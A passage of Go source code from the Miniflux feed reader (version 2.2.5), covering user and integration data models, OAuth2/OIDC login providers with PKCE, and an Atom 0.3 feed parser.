// DataURL returns the data URL of the icon.
func (i *Icon) DataURL() string {
return fmt.Sprintf("%s;base64,%s", i.MimeType, base64.StdEncoding.EncodeToString(i.Content))
}
// Icons represents a list of icons.
type Icons []*Icon
// FeedIcon is a junction table between feeds and icons.
type FeedIcon struct {
FeedID int64 `json:"feed_id"`
IconID int64 `json:"icon_id"`
}
v2-2.2.5/internal/model/integration.go 0000664 0000000 0000000 00000010540 14743520056 0017643 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
// Integration represents user integration settings.
type Integration struct {
UserID int64
BetulaEnabled bool
BetulaURL string
BetulaToken string
PinboardEnabled bool
PinboardToken string
PinboardTags string
PinboardMarkAsUnread bool
InstapaperEnabled bool
InstapaperUsername string
InstapaperPassword string
FeverEnabled bool
FeverUsername string
FeverToken string
GoogleReaderEnabled bool
GoogleReaderUsername string
GoogleReaderPassword string
WallabagEnabled bool
WallabagOnlyURL bool
WallabagURL string
WallabagClientID string
WallabagClientSecret string
WallabagUsername string
WallabagPassword string
NunuxKeeperEnabled bool
NunuxKeeperURL string
NunuxKeeperAPIKey string
NotionEnabled bool
NotionToken string
NotionPageID string
EspialEnabled bool
EspialURL string
EspialAPIKey string
EspialTags string
ReadwiseEnabled bool
ReadwiseAPIKey string
PocketEnabled bool
PocketAccessToken string
PocketConsumerKey string
TelegramBotEnabled bool
TelegramBotToken string
TelegramBotChatID string
TelegramBotTopicID *int64
TelegramBotDisableWebPagePreview bool
TelegramBotDisableNotification bool
TelegramBotDisableButtons bool
LinkAceEnabled bool
LinkAceURL string
LinkAceAPIKey string
LinkAceTags string
LinkAcePrivate bool
LinkAceCheckDisabled bool
LinkdingEnabled bool
LinkdingURL string
LinkdingAPIKey string
LinkdingTags string
LinkdingMarkAsUnread bool
LinkwardenEnabled bool
LinkwardenURL string
LinkwardenAPIKey string
MatrixBotEnabled bool
MatrixBotUser string
MatrixBotPassword string
MatrixBotURL string
MatrixBotChatID string
AppriseEnabled bool
AppriseURL string
AppriseServicesURL string
ReadeckEnabled bool
ReadeckURL string
ReadeckAPIKey string
ReadeckLabels string
ReadeckOnlyURL bool
ShioriEnabled bool
ShioriURL string
ShioriUsername string
ShioriPassword string
ShaarliEnabled bool
ShaarliURL string
ShaarliAPISecret string
WebhookEnabled bool
WebhookURL string
WebhookSecret string
RSSBridgeEnabled bool
RSSBridgeURL string
OmnivoreEnabled bool
OmnivoreAPIKey string
OmnivoreURL string
RaindropEnabled bool
RaindropToken string
RaindropCollectionID string
RaindropTags string
NtfyEnabled bool
NtfyTopic string
NtfyURL string
NtfyAPIToken string
NtfyUsername string
NtfyPassword string
NtfyIconURL string
NtfyInternalLinks bool
CuboxEnabled bool
CuboxAPILink string
DiscordEnabled bool
DiscordWebhookLink string
}
v2-2.2.5/internal/model/job.go 0000664 0000000 0000000 00000000526 14743520056 0016075 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
// Job represents a payload sent to the processing queue.
type Job struct {
UserID int64
FeedID int64
}
// JobList represents a list of jobs.
type JobList []Job
v2-2.2.5/internal/model/model.go 0000664 0000000 0000000 00000000641 14743520056 0016421 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
type Number interface {
int | int64 | float64
}
func OptionalNumber[T Number](value T) *T {
if value > 0 {
return &value
}
return nil
}
func OptionalString(value string) *string {
if value != "" {
return &value
}
return nil
}
v2-2.2.5/internal/model/subscription.go 0000664 0000000 0000000 00000001374 14743520056 0020051 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
// SubscriptionDiscoveryRequest represents a request to discover subscriptions.
type SubscriptionDiscoveryRequest struct {
URL string `json:"url"`
UserAgent string `json:"user_agent"`
Cookie string `json:"cookie"`
Username string `json:"username"`
Password string `json:"password"`
FetchViaProxy bool `json:"fetch_via_proxy"`
AllowSelfSignedCertificates bool `json:"allow_self_signed_certificates"`
DisableHTTP2 bool `json:"disable_http2"`
}
v2-2.2.5/internal/model/theme.go 0000664 0000000 0000000 00000002133 14743520056 0016421 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
// Themes returns the list of available themes.
func Themes() map[string]string {
return map[string]string{
"light_serif": "Light - Serif",
"light_sans_serif": "Light - Sans Serif",
"dark_serif": "Dark - Serif",
"dark_sans_serif": "Dark - Sans Serif",
"system_serif": "System - Serif",
"system_sans_serif": "System - Sans Serif",
}
}
// ThemeColor returns the color for the address bar or/and the browser color.
// https://developer.mozilla.org/en-US/docs/Web/Manifest#theme_color
// https://developers.google.com/web/tools/lighthouse/audits/address-bar
// https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta/name/theme-color
func ThemeColor(theme, colorScheme string) string {
switch theme {
case "dark_serif", "dark_sans_serif":
return "#222"
case "system_serif", "system_sans_serif":
if colorScheme == "dark" {
return "#222"
}
return "#fff"
default:
return "#fff"
}
}
v2-2.2.5/internal/model/user.go 0000664 0000000 0000000 00000016214 14743520056 0016302 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"time"
"miniflux.app/v2/internal/timezone"
)
// User represents a user in the system.
type User struct {
ID int64 `json:"id"`
Username string `json:"username"`
Password string `json:"-"`
IsAdmin bool `json:"is_admin"`
Theme string `json:"theme"`
Language string `json:"language"`
Timezone string `json:"timezone"`
EntryDirection string `json:"entry_sorting_direction"`
EntryOrder string `json:"entry_sorting_order"`
Stylesheet string `json:"stylesheet"`
CustomJS string `json:"custom_js"`
ExternalFontHosts string `json:"external_font_hosts"`
GoogleID string `json:"google_id"`
OpenIDConnectID string `json:"openid_connect_id"`
EntriesPerPage int `json:"entries_per_page"`
KeyboardShortcuts bool `json:"keyboard_shortcuts"`
ShowReadingTime bool `json:"show_reading_time"`
EntrySwipe bool `json:"entry_swipe"`
GestureNav string `json:"gesture_nav"`
LastLoginAt *time.Time `json:"last_login_at"`
DisplayMode string `json:"display_mode"`
DefaultReadingSpeed int `json:"default_reading_speed"`
CJKReadingSpeed int `json:"cjk_reading_speed"`
DefaultHomePage string `json:"default_home_page"`
CategoriesSortingOrder string `json:"categories_sorting_order"`
MarkReadOnView bool `json:"mark_read_on_view"`
MarkReadOnMediaPlayerCompletion bool `json:"mark_read_on_media_player_completion"`
MediaPlaybackRate float64 `json:"media_playback_rate"`
BlockFilterEntryRules string `json:"block_filter_entry_rules"`
KeepFilterEntryRules string `json:"keep_filter_entry_rules"`
}
// UserCreationRequest represents the request to create a user.
type UserCreationRequest struct {
Username string `json:"username"`
Password string `json:"password"`
IsAdmin bool `json:"is_admin"`
GoogleID string `json:"google_id"`
OpenIDConnectID string `json:"openid_connect_id"`
}
// UserModificationRequest represents the request to update a user.
type UserModificationRequest struct {
Username *string `json:"username"`
Password *string `json:"password"`
Theme *string `json:"theme"`
Language *string `json:"language"`
Timezone *string `json:"timezone"`
EntryDirection *string `json:"entry_sorting_direction"`
EntryOrder *string `json:"entry_sorting_order"`
Stylesheet *string `json:"stylesheet"`
CustomJS *string `json:"custom_js"`
ExternalFontHosts *string `json:"external_font_hosts"`
GoogleID *string `json:"google_id"`
OpenIDConnectID *string `json:"openid_connect_id"`
EntriesPerPage *int `json:"entries_per_page"`
IsAdmin *bool `json:"is_admin"`
KeyboardShortcuts *bool `json:"keyboard_shortcuts"`
ShowReadingTime *bool `json:"show_reading_time"`
EntrySwipe *bool `json:"entry_swipe"`
GestureNav *string `json:"gesture_nav"`
DisplayMode *string `json:"display_mode"`
DefaultReadingSpeed *int `json:"default_reading_speed"`
CJKReadingSpeed *int `json:"cjk_reading_speed"`
DefaultHomePage *string `json:"default_home_page"`
CategoriesSortingOrder *string `json:"categories_sorting_order"`
MarkReadOnView *bool `json:"mark_read_on_view"`
MarkReadOnMediaPlayerCompletion *bool `json:"mark_read_on_media_player_completion"`
MediaPlaybackRate *float64 `json:"media_playback_rate"`
BlockFilterEntryRules *string `json:"block_filter_entry_rules"`
KeepFilterEntryRules *string `json:"keep_filter_entry_rules"`
}
// Patch updates the User object with the modification request.
func (u *UserModificationRequest) Patch(user *User) {
if u.Username != nil {
user.Username = *u.Username
}
if u.Password != nil {
user.Password = *u.Password
}
if u.IsAdmin != nil {
user.IsAdmin = *u.IsAdmin
}
if u.Theme != nil {
user.Theme = *u.Theme
}
if u.Language != nil {
user.Language = *u.Language
}
if u.Timezone != nil {
user.Timezone = *u.Timezone
}
if u.EntryDirection != nil {
user.EntryDirection = *u.EntryDirection
}
if u.EntryOrder != nil {
user.EntryOrder = *u.EntryOrder
}
if u.Stylesheet != nil {
user.Stylesheet = *u.Stylesheet
}
if u.CustomJS != nil {
user.CustomJS = *u.CustomJS
}
if u.ExternalFontHosts != nil {
user.ExternalFontHosts = *u.ExternalFontHosts
}
if u.GoogleID != nil {
user.GoogleID = *u.GoogleID
}
if u.OpenIDConnectID != nil {
user.OpenIDConnectID = *u.OpenIDConnectID
}
if u.EntriesPerPage != nil {
user.EntriesPerPage = *u.EntriesPerPage
}
if u.KeyboardShortcuts != nil {
user.KeyboardShortcuts = *u.KeyboardShortcuts
}
if u.ShowReadingTime != nil {
user.ShowReadingTime = *u.ShowReadingTime
}
if u.EntrySwipe != nil {
user.EntrySwipe = *u.EntrySwipe
}
if u.GestureNav != nil {
user.GestureNav = *u.GestureNav
}
if u.DisplayMode != nil {
user.DisplayMode = *u.DisplayMode
}
if u.DefaultReadingSpeed != nil {
user.DefaultReadingSpeed = *u.DefaultReadingSpeed
}
if u.CJKReadingSpeed != nil {
user.CJKReadingSpeed = *u.CJKReadingSpeed
}
if u.DefaultHomePage != nil {
user.DefaultHomePage = *u.DefaultHomePage
}
if u.CategoriesSortingOrder != nil {
user.CategoriesSortingOrder = *u.CategoriesSortingOrder
}
if u.MarkReadOnView != nil {
user.MarkReadOnView = *u.MarkReadOnView
}
if u.MarkReadOnMediaPlayerCompletion != nil {
user.MarkReadOnMediaPlayerCompletion = *u.MarkReadOnMediaPlayerCompletion
}
if u.MediaPlaybackRate != nil {
user.MediaPlaybackRate = *u.MediaPlaybackRate
}
if u.BlockFilterEntryRules != nil {
user.BlockFilterEntryRules = *u.BlockFilterEntryRules
}
if u.KeepFilterEntryRules != nil {
user.KeepFilterEntryRules = *u.KeepFilterEntryRules
}
}
// UseTimezone converts last login date to the given timezone.
func (u *User) UseTimezone(tz string) {
if u.LastLoginAt != nil {
*u.LastLoginAt = timezone.Convert(tz, *u.LastLoginAt)
}
}
// Users represents a list of users.
type Users []*User
// UseTimezone converts last login timestamp of all users to the given timezone.
func (u Users) UseTimezone(tz string) {
for _, user := range u {
user.UseTimezone(tz)
}
}
v2-2.2.5/internal/model/user_session.go 0000664 0000000 0000000 00000001741 14743520056 0020044 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"fmt"
"time"
"miniflux.app/v2/internal/timezone"
)
// UserSession represents a user session in the system.
type UserSession struct {
ID int64
UserID int64
Token string
CreatedAt time.Time
UserAgent string
IP string
}
func (u *UserSession) String() string {
return fmt.Sprintf(`ID=%q, UserID=%q, IP=%q, Token=%q`, u.ID, u.UserID, u.IP, u.Token)
}
// UseTimezone converts creation date to the given timezone.
func (u *UserSession) UseTimezone(tz string) {
u.CreatedAt = timezone.Convert(tz, u.CreatedAt)
}
// UserSessions represents a list of sessions.
type UserSessions []*UserSession
// UseTimezone converts creation date of all sessions to the given timezone.
func (u UserSessions) UseTimezone(tz string) {
for _, session := range u {
session.UseTimezone(tz)
}
}
v2-2.2.5/internal/model/webauthn.go 0000664 0000000 0000000 00000002144 14743520056 0017136 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package model // import "miniflux.app/v2/internal/model"
import (
"database/sql/driver"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"time"
"github.com/go-webauthn/webauthn/webauthn"
)
// handle marshalling / unmarshalling session data
type WebAuthnSession struct {
*webauthn.SessionData
}
func (s WebAuthnSession) Value() (driver.Value, error) {
return json.Marshal(s)
}
func (s *WebAuthnSession) Scan(value interface{}) error {
b, ok := value.([]byte)
if !ok {
return errors.New("type assertion to []byte failed")
}
return json.Unmarshal(b, &s)
}
func (s WebAuthnSession) String() string {
if s.SessionData == nil {
return "{}"
}
return fmt.Sprintf("{Challenge: %s, UserID: %x}", s.SessionData.Challenge, s.SessionData.UserID)
}
type WebAuthnCredential struct {
Credential webauthn.Credential
Name string
AddedOn *time.Time
LastSeenOn *time.Time
Handle []byte
}
func (s WebAuthnCredential) HandleEncoded() string {
return hex.EncodeToString(s.Handle)
}
v2-2.2.5/internal/oauth2/ 0000775 0000000 0000000 00000000000 14743520056 0015073 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/oauth2/authorization.go 0000664 0000000 0000000 00000002103 14743520056 0020316 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package oauth2 // import "miniflux.app/v2/internal/oauth2"
import (
"crypto/sha256"
"encoding/base64"
"golang.org/x/oauth2"
"miniflux.app/v2/internal/crypto"
)
type Authorization struct {
url string
state string
codeVerifier string
}
func (u *Authorization) RedirectURL() string {
return u.url
}
func (u *Authorization) State() string {
return u.state
}
func (u *Authorization) CodeVerifier() string {
return u.codeVerifier
}
func GenerateAuthorization(config *oauth2.Config) *Authorization {
codeVerifier := crypto.GenerateRandomStringHex(32)
sum := sha256.Sum256([]byte(codeVerifier))
state := crypto.GenerateRandomStringHex(24)
authUrl := config.AuthCodeURL(
state,
oauth2.SetAuthURLParam("code_challenge_method", "S256"),
oauth2.SetAuthURLParam("code_challenge", base64.RawURLEncoding.EncodeToString(sum[:])),
)
return &Authorization{
url: authUrl,
state: state,
codeVerifier: codeVerifier,
}
}
v2-2.2.5/internal/oauth2/google.go 0000664 0000000 0000000 00000004347 14743520056 0016706 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package oauth2 // import "miniflux.app/v2/internal/oauth2"
import (
"context"
"encoding/json"
"fmt"
"miniflux.app/v2/internal/model"
"golang.org/x/oauth2"
)
type googleProfile struct {
Sub string `json:"sub"`
Email string `json:"email"`
}
type googleProvider struct {
clientID string
clientSecret string
redirectURL string
}
func NewGoogleProvider(clientID, clientSecret, redirectURL string) *googleProvider {
return &googleProvider{clientID: clientID, clientSecret: clientSecret, redirectURL: redirectURL}
}
func (g *googleProvider) GetConfig() *oauth2.Config {
return &oauth2.Config{
RedirectURL: g.redirectURL,
ClientID: g.clientID,
ClientSecret: g.clientSecret,
Scopes: []string{"email"},
Endpoint: oauth2.Endpoint{
AuthURL: "https://accounts.google.com/o/oauth2/auth",
TokenURL: "https://accounts.google.com/o/oauth2/token",
},
}
}
func (g *googleProvider) GetUserExtraKey() string {
return "google_id"
}
func (g *googleProvider) GetProfile(ctx context.Context, code, codeVerifier string) (*Profile, error) {
conf := g.GetConfig()
token, err := conf.Exchange(ctx, code, oauth2.SetAuthURLParam("code_verifier", codeVerifier))
if err != nil {
return nil, fmt.Errorf("google: failed to exchange token: %w", err)
}
client := conf.Client(ctx, token)
resp, err := client.Get("https://www.googleapis.com/oauth2/v3/userinfo")
if err != nil {
return nil, fmt.Errorf("google: failed to get user info: %w", err)
}
defer resp.Body.Close()
var user googleProfile
decoder := json.NewDecoder(resp.Body)
if err := decoder.Decode(&user); err != nil {
return nil, fmt.Errorf("google: unable to unserialize Google profile: %w", err)
}
profile := &Profile{Key: g.GetUserExtraKey(), ID: user.Sub, Username: user.Email}
return profile, nil
}
func (g *googleProvider) PopulateUserCreationWithProfileID(user *model.UserCreationRequest, profile *Profile) {
user.GoogleID = profile.ID
}
func (g *googleProvider) PopulateUserWithProfileID(user *model.User, profile *Profile) {
user.GoogleID = profile.ID
}
func (g *googleProvider) UnsetUserProfileID(user *model.User) {
user.GoogleID = ""
}
v2-2.2.5/internal/oauth2/manager.go 0000664 0000000 0000000 00000002175 14743520056 0017041 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package oauth2 // import "miniflux.app/v2/internal/oauth2"
import (
"context"
"errors"
"log/slog"
)
type Manager struct {
providers map[string]Provider
}
func (m *Manager) FindProvider(name string) (Provider, error) {
if provider, found := m.providers[name]; found {
return provider, nil
}
return nil, errors.New("oauth2 provider not found")
}
func (m *Manager) AddProvider(name string, provider Provider) {
m.providers[name] = provider
}
func NewManager(ctx context.Context, clientID, clientSecret, redirectURL, oidcDiscoveryEndpoint string) *Manager {
m := &Manager{providers: make(map[string]Provider)}
m.AddProvider("google", NewGoogleProvider(clientID, clientSecret, redirectURL))
if oidcDiscoveryEndpoint != "" {
if genericOidcProvider, err := NewOidcProvider(ctx, clientID, clientSecret, redirectURL, oidcDiscoveryEndpoint); err != nil {
slog.Error("Failed to initialize OIDC provider",
slog.Any("error", err),
)
} else {
m.AddProvider("oidc", genericOidcProvider)
}
}
return m
}
v2-2.2.5/internal/oauth2/oidc.go 0000664 0000000 0000000 00000005455 14743520056 0016351 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package oauth2 // import "miniflux.app/v2/internal/oauth2"
import (
"context"
"errors"
"fmt"
"miniflux.app/v2/internal/model"
"github.com/coreos/go-oidc/v3/oidc"
"golang.org/x/oauth2"
)
var (
ErrEmptyUsername = errors.New("oidc: username is empty")
)
type oidcProvider struct {
clientID string
clientSecret string
redirectURL string
provider *oidc.Provider
}
func NewOidcProvider(ctx context.Context, clientID, clientSecret, redirectURL, discoveryEndpoint string) (*oidcProvider, error) {
provider, err := oidc.NewProvider(ctx, discoveryEndpoint)
if err != nil {
return nil, fmt.Errorf(`oidc: failed to initialize provider %q: %w`, discoveryEndpoint, err)
}
return &oidcProvider{
clientID: clientID,
clientSecret: clientSecret,
redirectURL: redirectURL,
provider: provider,
}, nil
}
func (o *oidcProvider) GetUserExtraKey() string {
return "openid_connect_id"
}
func (o *oidcProvider) GetConfig() *oauth2.Config {
return &oauth2.Config{
RedirectURL: o.redirectURL,
ClientID: o.clientID,
ClientSecret: o.clientSecret,
Scopes: []string{oidc.ScopeOpenID, "profile", "email"},
Endpoint: o.provider.Endpoint(),
}
}
func (o *oidcProvider) GetProfile(ctx context.Context, code, codeVerifier string) (*Profile, error) {
conf := o.GetConfig()
token, err := conf.Exchange(ctx, code, oauth2.SetAuthURLParam("code_verifier", codeVerifier))
if err != nil {
return nil, fmt.Errorf(`oidc: failed to exchange token: %w`, err)
}
userInfo, err := o.provider.UserInfo(ctx, oauth2.StaticTokenSource(token))
if err != nil {
return nil, fmt.Errorf(`oidc: failed to get user info: %w`, err)
}
profile := &Profile{
Key: o.GetUserExtraKey(),
ID: userInfo.Subject,
}
var userClaims userClaims
if err := userInfo.Claims(&userClaims); err != nil {
return nil, fmt.Errorf(`oidc: failed to parse user claims: %w`, err)
}
for _, value := range []string{userClaims.Email, userClaims.PreferredUsername, userClaims.Name, userClaims.Profile} {
if value != "" {
profile.Username = value
break
}
}
if profile.Username == "" {
return nil, ErrEmptyUsername
}
return profile, nil
}
func (o *oidcProvider) PopulateUserCreationWithProfileID(user *model.UserCreationRequest, profile *Profile) {
user.OpenIDConnectID = profile.ID
}
func (o *oidcProvider) PopulateUserWithProfileID(user *model.User, profile *Profile) {
user.OpenIDConnectID = profile.ID
}
func (o *oidcProvider) UnsetUserProfileID(user *model.User) {
user.OpenIDConnectID = ""
}
type userClaims struct {
Email string `json:"email"`
Profile string `json:"profile"`
Name string `json:"name"`
PreferredUsername string `json:"preferred_username"`
}
v2-2.2.5/internal/oauth2/profile.go 0000664 0000000 0000000 00000000654 14743520056 0017067 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package oauth2 // import "miniflux.app/v2/internal/oauth2"
import (
"fmt"
)
// Profile is the OAuth2 user profile.
type Profile struct {
Key string
ID string
Username string
}
func (p Profile) String() string {
return fmt.Sprintf(`Key=%s ; ID=%s ; Username=%s`, p.Key, p.ID, p.Username)
}
v2-2.2.5/internal/oauth2/provider.go 0000664 0000000 0000000 00000001223 14743520056 0017252 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package oauth2 // import "miniflux.app/v2/internal/oauth2"
import (
"context"
"golang.org/x/oauth2"
"miniflux.app/v2/internal/model"
)
// Provider is an interface for OAuth2 providers.
type Provider interface {
GetConfig() *oauth2.Config
GetUserExtraKey() string
GetProfile(ctx context.Context, code, codeVerifier string) (*Profile, error)
PopulateUserCreationWithProfileID(user *model.UserCreationRequest, profile *Profile)
PopulateUserWithProfileID(user *model.User, profile *Profile)
UnsetUserProfileID(user *model.User)
}
v2-2.2.5/internal/reader/ 0000775 0000000 0000000 00000000000 14743520056 0015133 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/atom/ 0000775 0000000 0000000 00000000000 14743520056 0016073 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/atom/atom_03.go 0000664 0000000 0000000 00000016203 14743520056 0017666 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package atom // import "miniflux.app/v2/internal/reader/atom"
import (
"encoding/base64"
"html"
"strings"
)
// Specs: http://web.archive.org/web/20060811235523/http://www.mnot.net/drafts/draft-nottingham-atom-format-02.html
type Atom03Feed struct {
Version string `xml:"version,attr"`
// The "atom:id" element's content conveys a permanent, globally unique identifier for the feed.
// It MUST NOT change over time, even if the feed is relocated. atom:feed elements MAY contain an atom:id element,
// but MUST NOT contain more than one. The content of this element, when present, MUST be a URI.
ID string `xml:"http://purl.org/atom/ns# id"`
// The "atom:title" element is a Content construct that conveys a human-readable title for the feed.
// atom:feed elements MUST contain exactly one atom:title element.
// If the feed describes a Web resource, its content SHOULD be the same as that resource's title.
Title Atom03Content `xml:"http://purl.org/atom/ns# title"`
// The "atom:link" element is a Link construct that conveys a URI associated with the feed.
// The nature of the relationship as well as the link itself is determined by the element's content.
// atom:feed elements MUST contain at least one atom:link element with a rel attribute value of "alternate".
// atom:feed elements MUST NOT contain more than one atom:link element with a rel attribute value of "alternate" that has the same type attribute value.
// atom:feed elements MAY contain additional atom:link elements beyond those described above.
Links AtomLinks `xml:"http://purl.org/atom/ns# link"`
// The "atom:author" element is a Person construct that indicates the default author of the feed.
// atom:feed elements MUST contain exactly one atom:author element,
// UNLESS all of the atom:feed element's child atom:entry elements contain an atom:author element.
// atom:feed elements MUST NOT contain more than one atom:author element.
Author AtomPerson `xml:"http://purl.org/atom/ns# author"`
// The "atom:entry" element's represents an individual entry that is contained by the feed.
// atom:feed elements MAY contain one or more atom:entry elements.
Entries []Atom03Entry `xml:"http://purl.org/atom/ns# entry"`
}
type Atom03Entry struct {
// The "atom:id" element's content conveys a permanent, globally unique identifier for the entry.
// It MUST NOT change over time, even if other representations of the entry (such as a web representation pointed to by the entry's atom:link element) are relocated.
// If the same entry is syndicated in two atom:feeds published by the same entity, the entry's atom:id MUST be the same in both feeds.
ID string `xml:"id"`
// The "atom:title" element is a Content construct that conveys a human-readable title for the entry.
// atom:entry elements MUST have exactly one "atom:title" element.
// If an entry describes a Web resource, its content SHOULD be the same as that resource's title.
Title Atom03Content `xml:"title"`
// The "atom:modified" element is a Date construct that indicates the time that the entry was last modified.
// atom:entry elements MUST contain an atom:modified element, but MUST NOT contain more than one.
// The content of an atom:modified element MUST have a time zone whose value SHOULD be "UTC".
Modified string `xml:"modified"`
// The "atom:issued" element is a Date construct that indicates the time that the entry was issued.
// atom:entry elements MUST contain an atom:issued element, but MUST NOT contain more than one.
// The content of an atom:issued element MAY omit a time zone.
Issued string `xml:"issued"`
// The "atom:created" element is a Date construct that indicates the time that the entry was created.
// atom:entry elements MAY contain an atom:created element, but MUST NOT contain more than one.
// The content of an atom:created element MUST have a time zone whose value SHOULD be "UTC".
// If atom:created is not present, its content MUST considered to be the same as that of atom:modified.
Created string `xml:"created"`
// The "atom:link" element is a Link construct that conveys a URI associated with the entry.
// The nature of the relationship as well as the link itself is determined by the element's content.
// atom:entry elements MUST contain at least one atom:link element with a rel attribute value of "alternate".
// atom:entry elements MUST NOT contain more than one atom:link element with a rel attribute value of "alternate" that has the same type attribute value.
// atom:entry elements MAY contain additional atom:link elements beyond those described above.
Links AtomLinks `xml:"link"`
// The "atom:summary" element is a Content construct that conveys a short summary, abstract or excerpt of the entry.
// atom:entry elements MAY contain an atom:created element, but MUST NOT contain more than one.
Summary Atom03Content `xml:"summary"`
// The "atom:content" element is a Content construct that conveys the content of the entry.
// atom:entry elements MAY contain one or more atom:content elements.
Content Atom03Content `xml:"content"`
// The "atom:author" element is a Person construct that indicates the default author of the entry.
// atom:entry elements MUST contain exactly one atom:author element,
// UNLESS the atom:feed element containing them contains an atom:author element itself.
// atom:entry elements MUST NOT contain more than one atom:author element.
Author AtomPerson `xml:"author"`
}
type Atom03Content struct {
// Content constructs MAY have a "type" attribute, whose value indicates the media type of the content.
// When present, this attribute's value MUST be a registered media type [RFC2045].
// If not present, its value MUST be considered to be "text/plain".
Type string `xml:"type,attr"`
// Content constructs MAY have a "mode" attribute, whose value indicates the method used to encode the content.
// When present, this attribute's value MUST be listed below.
// If not present, its value MUST be considered to be "xml".
//
// "xml": A mode attribute with the value "xml" indicates that the element's content is inline xml (for example, namespace-qualified XHTML).
//
// "escaped": A mode attribute with the value "escaped" indicates that the element's content is an escaped string.
// Processors MUST unescape the element's content before considering it as content of the indicated media type.
//
// "base64": A mode attribute with the value "base64" indicates that the element's content is base64-encoded [RFC2045].
// Processors MUST decode the element's content before considering it as content of the the indicated media type.
Mode string `xml:"mode,attr"`
CharData string `xml:",chardata"`
InnerXML string `xml:",innerxml"`
}
func (a *Atom03Content) Content() string {
content := ""
switch {
case a.Mode == "xml":
content = a.InnerXML
case a.Mode == "escaped":
content = a.CharData
case a.Mode == "base64":
b, err := base64.StdEncoding.DecodeString(a.CharData)
if err == nil {
content = string(b)
}
default:
content = a.CharData
}
if a.Type != "text/html" {
content = html.EscapeString(content)
}
return strings.TrimSpace(content)
}
v2-2.2.5/internal/reader/atom/atom_03_adapter.go 0000664 0000000 0000000 00000005423 14743520056 0021370 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package atom // import "miniflux.app/v2/internal/reader/atom"
import (
"log/slog"
"time"
"miniflux.app/v2/internal/crypto"
"miniflux.app/v2/internal/model"
"miniflux.app/v2/internal/reader/date"
"miniflux.app/v2/internal/reader/sanitizer"
"miniflux.app/v2/internal/urllib"
)
type Atom03Adapter struct {
atomFeed *Atom03Feed
}
func NewAtom03Adapter(atomFeed *Atom03Feed) *Atom03Adapter {
return &Atom03Adapter{atomFeed}
}
func (a *Atom03Adapter) BuildFeed(baseURL string) *model.Feed {
feed := new(model.Feed)
// Populate the feed URL.
feedURL := a.atomFeed.Links.firstLinkWithRelation("self")
if feedURL != "" {
if absoluteFeedURL, err := urllib.AbsoluteURL(baseURL, feedURL); err == nil {
feed.FeedURL = absoluteFeedURL
}
} else {
feed.FeedURL = baseURL
}
// Populate the site URL.
siteURL := a.atomFeed.Links.OriginalLink()
if siteURL != "" {
if absoluteSiteURL, err := urllib.AbsoluteURL(baseURL, siteURL); err == nil {
feed.SiteURL = absoluteSiteURL
}
} else {
feed.SiteURL = baseURL
}
// Populate the feed title.
feed.Title = a.atomFeed.Title.Content()
if feed.Title == "" {
feed.Title = feed.SiteURL
}
for _, atomEntry := range a.atomFeed.Entries {
entry := model.NewEntry()
// Populate the entry URL.
entry.URL = atomEntry.Links.OriginalLink()
if entry.URL != "" {
if absoluteEntryURL, err := urllib.AbsoluteURL(feed.SiteURL, entry.URL); err == nil {
entry.URL = absoluteEntryURL
}
}
// Populate the entry content.
entry.Content = atomEntry.Content.Content()
if entry.Content == "" {
entry.Content = atomEntry.Summary.Content()
}
// Populate the entry title.
entry.Title = atomEntry.Title.Content()
if entry.Title == "" {
entry.Title = sanitizer.TruncateHTML(entry.Content, 100)
}
if entry.Title == "" {
entry.Title = entry.URL
}
// Populate the entry author.
entry.Author = atomEntry.Author.PersonName()
if entry.Author == "" {
entry.Author = a.atomFeed.Author.PersonName()
}
// Populate the entry date.
for _, value := range []string{atomEntry.Issued, atomEntry.Modified, atomEntry.Created} {
if parsedDate, err := date.Parse(value); err == nil {
entry.Date = parsedDate
break
} else {
slog.Debug("Unable to parse date from Atom 0.3 feed",
